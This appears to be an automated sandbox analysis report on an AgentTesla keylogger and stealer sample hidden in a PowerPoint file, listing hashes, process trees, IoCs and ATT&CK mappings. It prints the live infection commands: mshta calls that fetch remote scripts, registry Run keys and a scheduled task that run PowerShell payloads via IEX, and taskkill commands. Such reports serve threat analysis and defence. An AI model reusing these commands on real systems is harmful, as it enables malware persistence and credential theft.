agenttesla | 6fe9b24604c251a382a9f9148b26b08795cc09784f552bdc9d764f90390ac0d7

General

Target

1.ppt
Size

78KB
MD5

d942cc1f6472ee2ef8c9dc5543e009ab
SHA1

b322a2b14f015afa34e632e7f08149444eb3857e
SHA256

6fe9b24604c251a382a9f9148b26b08795cc09784f552bdc9d764f90390ac0d7
SHA512

164c3885d3f3eb05d5cf0b5053971d8f7f1ed891978df7b6231d3b8b29208eb657224eb34ed8534b61fd831bef193febb6e7bd0522189fa4127e8fdd363cc42c

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	3912	800	mshta.exe	POWERPNT.EXE
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2236	3524	powershell.exe

AgentTesla Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2692-187-0x0000000000437DBE-mapping.dmp	family_agenttesla

Blocklisted process makes network request 15 IoCs

Processes:

mshta.exepowershell.exe

flow	pid	process
17	3912	mshta.exe
21	3912	mshta.exe
25	3912	mshta.exe
29	3912	mshta.exe
33	3912	mshta.exe
37	3912	mshta.exe
39	3912	mshta.exe
41	3912	mshta.exe
44	3912	mshta.exe
45	3912	mshta.exe
47	3912	mshta.exe
48	3912	mshta.exe
53	2236	powershell.exe
56	2236	powershell.exe
58	2236	powershell.exe

Drops file in Drivers directory 1 IoCs

Processes:

aspnet_compiler.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts aspnet_compiler.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	aspnet_compiler.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\replcia = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).nasdnasndnad)\|IEX\"\", 0 : window.close\")"	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\DLESOLCRETSAM = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).MSOFFICELO)\|IEX\"\", 0 : window.close\")"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\dkkkksakdosexography = "\"mshta\"\"http://1230948%[email protected]/p/17.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"mshta\"\"http://1230948%[email protected]/p/17.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\nunukhaoo = "\"mshta\"\"http://1230948%[email protected]/p/17.html\""	mshta.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2236 set thread context of 2692 2236 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1272 3912 WerFault.exe mshta.exe

description	pid	process	target process
PID 2236 set thread context of 2692	2236	powershell.exe	aspnet_compiler.exe

pid	pid_target	process	target process
1272	3912	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4044 schtasks.exe

pid	process
4044	schtasks.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily

Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

1048 taskkill.exe
1144 taskkill.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

800 POWERPNT.EXE

pid	process
1048	taskkill.exe
1144	taskkill.exe

pid	process
800	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exeWerFault.exeaspnet_compiler.exe

pid	process
2236	powershell.exe
2236	powershell.exe
2236	powershell.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
2692	aspnet_compiler.exe
2692	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

Processes:

powershell.exetaskkill.exetaskkill.exeWerFault.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	2236	powershell.exe
Token: SeDebugPrivilege	1048	taskkill.exe
Token: SeDebugPrivilege	1144	taskkill.exe
Token: SeIncreaseQuotaPrivilege	2236	powershell.exe
Token: SeSecurityPrivilege	2236	powershell.exe
Token: SeTakeOwnershipPrivilege	2236	powershell.exe
Token: SeLoadDriverPrivilege	2236	powershell.exe
Token: SeSystemProfilePrivilege	2236	powershell.exe
Token: SeSystemtimePrivilege	2236	powershell.exe
Token: SeProfSingleProcessPrivilege	2236	powershell.exe
Token: SeIncBasePriorityPrivilege	2236	powershell.exe
Token: SeCreatePagefilePrivilege	2236	powershell.exe
Token: SeBackupPrivilege	2236	powershell.exe
Token: SeRestorePrivilege	2236	powershell.exe
Token: SeShutdownPrivilege	2236	powershell.exe
Token: SeDebugPrivilege	2236	powershell.exe
Token: SeSystemEnvironmentPrivilege	2236	powershell.exe
Token: SeRemoteShutdownPrivilege	2236	powershell.exe
Token: SeUndockPrivilege	2236	powershell.exe
Token: SeManageVolumePrivilege	2236	powershell.exe
Token: 33	2236	powershell.exe
Token: 34	2236	powershell.exe
Token: 35	2236	powershell.exe
Token: 36	2236	powershell.exe
Token: SeIncreaseQuotaPrivilege	2236	powershell.exe
Token: SeSecurityPrivilege	2236	powershell.exe
Token: SeTakeOwnershipPrivilege	2236	powershell.exe
Token: SeLoadDriverPrivilege	2236	powershell.exe
Token: SeSystemProfilePrivilege	2236	powershell.exe
Token: SeSystemtimePrivilege	2236	powershell.exe
Token: SeProfSingleProcessPrivilege	2236	powershell.exe
Token: SeIncBasePriorityPrivilege	2236	powershell.exe
Token: SeCreatePagefilePrivilege	2236	powershell.exe
Token: SeBackupPrivilege	2236	powershell.exe
Token: SeRestorePrivilege	2236	powershell.exe
Token: SeShutdownPrivilege	2236	powershell.exe
Token: SeDebugPrivilege	2236	powershell.exe
Token: SeSystemEnvironmentPrivilege	2236	powershell.exe
Token: SeRemoteShutdownPrivilege	2236	powershell.exe
Token: SeUndockPrivilege	2236	powershell.exe
Token: SeManageVolumePrivilege	2236	powershell.exe
Token: 33	2236	powershell.exe
Token: 34	2236	powershell.exe
Token: 35	2236	powershell.exe
Token: 36	2236	powershell.exe
Token: SeDebugPrivilege	1272	WerFault.exe
Token: SeDebugPrivilege	2692	aspnet_compiler.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

POWERPNT.EXEaspnet_compiler.exe

pid process

800 POWERPNT.EXE
800
800
2692 aspnet_compiler.exe

pid	process
800	POWERPNT.EXE
800
800
2692	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

mshta.exepowershell.exe

description	pid	process	target process
PID 800 wrote to memory of 3912	800		mshta.exe
PID 800 wrote to memory of 3912	800		mshta.exe
PID 3912 wrote to memory of 4044	3912	mshta.exe	schtasks.exe
PID 3912 wrote to memory of 4044	3912	mshta.exe	schtasks.exe
PID 3912 wrote to memory of 1048	3912	mshta.exe	taskkill.exe
PID 3912 wrote to memory of 1048	3912	mshta.exe	taskkill.exe
PID 3912 wrote to memory of 1144	3912	mshta.exe	taskkill.exe
PID 3912 wrote to memory of 1144	3912	mshta.exe	taskkill.exe
PID 2236 wrote to memory of 2692	2236	powershell.exe	aspnet_compiler.exe
PID 2236 wrote to memory of 2692	2236	powershell.exe	aspnet_compiler.exe
PID 2236 wrote to memory of 2692	2236	powershell.exe	aspnet_compiler.exe
PID 2236 wrote to memory of 2692	2236	powershell.exe	aspnet_compiler.exe
PID 2236 wrote to memory of 2692	2236	powershell.exe	aspnet_compiler.exe
PID 2236 wrote to memory of 2692	2236	powershell.exe	aspnet_compiler.exe
PID 2236 wrote to memory of 2692	2236	powershell.exe	aspnet_compiler.exe
PID 2236 wrote to memory of 2692	2236	powershell.exe	aspnet_compiler.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\1.ppt" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:800

C:\Windows\SYSTEM32\mshta.exe
mshta http://www.j.mp/asdqwpodqjwndddjakdhs
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3912

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%[email protected]/p/17.html""\"", 0 : window.close"\")
3⤵
- Creates scheduled task(s)
PID:4044

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /f /im winword.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1048

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /f /im Excel.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1144

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3912 -s 2888
3⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1272

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2236

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
#cmd
2⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2692

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

Scheduled Task

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/800-114-0x00007FFA6EBC0000-0x00007FFA6EBD0000-memory.dmp

Filesize
64KB

Download
memory/800-115-0x00007FFA6EBC0000-0x00007FFA6EBD0000-memory.dmp

Filesize
64KB

Download
memory/800-116-0x00007FFA6EBC0000-0x00007FFA6EBD0000-memory.dmp

Filesize
64KB

Download
memory/800-117-0x00007FFA6EBC0000-0x00007FFA6EBD0000-memory.dmp

Filesize
64KB

Download
memory/800-118-0x00007FFA6EBC0000-0x00007FFA6EBD0000-memory.dmp

Filesize
64KB

Download
memory/800-119-0x00007FFA90E10000-0x00007FFA929ED000-memory.dmp

Filesize
27.9MB

Download
memory/800-122-0x00007FFA8D660000-0x00007FFA8E74E000-memory.dmp

Filesize
16.9MB

Download
memory/800-123-0x00007FFA88610000-0x00007FFA8A505000-memory.dmp

Filesize
31.0MB

Download
memory/1048-183-0x0000000000000000-mapping.dmp

Download
memory/1144-184-0x0000000000000000-mapping.dmp

Download
memory/2236-181-0x000002AAF5CB0000-0x000002AAF5CB2000-memory.dmp

Filesize
8KB

Download
memory/2236-182-0x000002AAF5CB3000-0x000002AAF5CB5000-memory.dmp

Filesize
8KB

Download
memory/2236-185-0x000002AAF5CB6000-0x000002AAF5CB8000-memory.dmp

Filesize
8KB

Download
memory/2236-186-0x000002AAF5CB8000-0x000002AAF5CB9000-memory.dmp

Filesize
4KB

Download
memory/2692-187-0x0000000000437DBE-mapping.dmp

Download
memory/2692-188-0x0000000004E20000-0x0000000004E21000-memory.dmp

Filesize
4KB

Download
memory/2692-189-0x0000000004E21000-0x0000000004E22000-memory.dmp

Filesize
4KB

Download
memory/3912-179-0x0000000000000000-mapping.dmp

Download
memory/4044-180-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads